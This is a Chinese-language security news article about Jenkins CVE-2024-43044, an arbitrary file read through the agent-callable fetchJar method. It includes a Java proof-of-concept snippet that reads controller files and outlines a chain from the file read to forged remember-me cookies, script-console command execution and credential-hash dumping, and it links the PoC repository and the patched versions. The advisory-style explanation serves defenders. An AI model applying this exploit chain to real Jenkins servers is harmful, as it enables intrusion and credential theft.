安全研究人员公布了Jenkin 中一个严重漏洞 CVE-2024-43044 的技术细节和概念验证 (PoC) 漏洞利用。
Jenkins 是许多开发流程不可或缺的一部分,因此成为攻击者的主要目标。如果受到攻击,Jenkins 服务器可能会成为造成广泛破坏的起点,包括凭证盗窃、未经授权的代码修改和部署中断。最近披露的 CVE-2024-43044 漏洞体现了此类风险的严重性。
CVE-2024-43044 被归类为任意文件读取漏洞,允许代理从 Jenkins 控制器读取文件。根本原因在于 Jenkins 功能允许控制器将 JAR 文件传输给其代理。存在此漏洞是因为ClassLoaderProxy#fetchJar
在控制器上调用的方法未能限制代理可以请求的文件路径。这种限制的缺失导致在控制器的文件系统上出现未经授权的文件访问。
Conviso Labs 的研究人员详细介绍了如何利用此漏洞。利用过程首先利用hudson.remoting.RemoteClassLoader
,它通过通道从远程对等点加载类文件。通过这种方式,攻击者可以访问 中的代理对象RemoteClassLoader
,该对象链接到hudson.remoting.RemoteInvocationHandler
。然后,此处理fetchJar
程序调用 ,触发对控制器的远程过程调用 (RPC)。
private static class Exploit extends MasterToSlaveCallable<Void, Exception> {
private final URL controllerFilePath;
private final String expectedContent;
public Exploit(URL controllerFilePath, String expectedContent) {
this.controllerFilePath = controllerFilePath;
this.expectedContent = expectedContent;
}
@Override
public Void call() throws Exception {
final ClassLoader ccl = Thread.currentThread().getContextClassLoader();
final Field classLoaderProxyField = ccl.getClass().getDeclaredField("proxy");
classLoaderProxyField.setAccessible(true);
final Object theProxy = classLoaderProxyField.get(ccl);
final Method fetchJarMethod = theProxy.getClass().getDeclaredMethod("fetchJar", URL.class);
fetchJarMethod.setAccessible(true);
final byte[] fetchJarResponse = (byte[]) fetchJarMethod.invoke(theProxy, controllerFilePath);
assertThat(new String(fetchJarResponse, StandardCharsets.UTF_8), is(expectedContent));
return null;
}
}
在控制器端,该方法在读取资源时没有验证用户控制的 URL,因此漏洞进一步暴露fetchJar
。这一严重疏忽允许攻击者绕过代理 -> 控制器访问控制系统 – 这是一种旨在防止未经授权的代理访问控制器的安全功能,自 Jenkins 版本 2.326 以来,该功能默认处于活动状态。
概念验证 (PoC) 漏洞利用证明了CVE-2024-43044 的严重影响。攻击顺序如下:
-
引用获取:该漏洞首先获取对的引用
hudson.remoting.RemoteClassLoader
。 -
文件读取:使用此引用,攻击者创建一个文件读取器来从控制器访问特定文件。
-
数据提取:攻击者读取三个关键文件来为特定用户伪造 cookie。
-
用户枚举:然后漏洞利用程序读取 Jenkins 用户列表,包括 ID、时间戳、种子和哈希值等详细信息。
-
Cookie 伪造:利用收集到的数据,攻击者为各种用户伪造“记住我”的 cookie,直到获得 Jenkins 脚本引擎的访问权限。
-
命令执行:通过访问脚本引擎,攻击者可以在 Jenkins 服务器上执行系统命令。
-
凭证转储:最后,漏洞利用将用户名和哈希值转储为可使用 John the Ripper 等工具破解的格式。
此漏洞已在 Jenkins 版本 2.471 以及长期支持 (LTS) 版本 2.452.4 和 2.462.1 中得到解决。强烈建议使用 Jenkins 的组织立即更新到这些版本,以减轻此漏洞带来的风险。
漏洞模拟脚本(POC):
https://github.com/convisolabs/CVE-2024-43044-jenkins
希望这些信息对您有所帮助!如果觉得这篇文章有价值,欢迎点赞、分享、再看、转载,如果您有网络安全的疑问,联系我随时为您解答,感谢您的支持!
免责声明
本文提供的 PoC(概念验证)代码来自于开源社区,旨在用于教育和研究目的。请勿在生产环境中未经授权使用此工具。虽然我们提供了工具的使用方法,但对任何由此工具引发的损害或安全问题不承担责任。使用者需遵守相关法律法规,并在合法的环境中测试和使用这些工具。
原文始发于微信公众号(星空网络安全):Jenkins 漏洞 RCE ,已发布 PoC 漏洞利用,CVE-2024-43044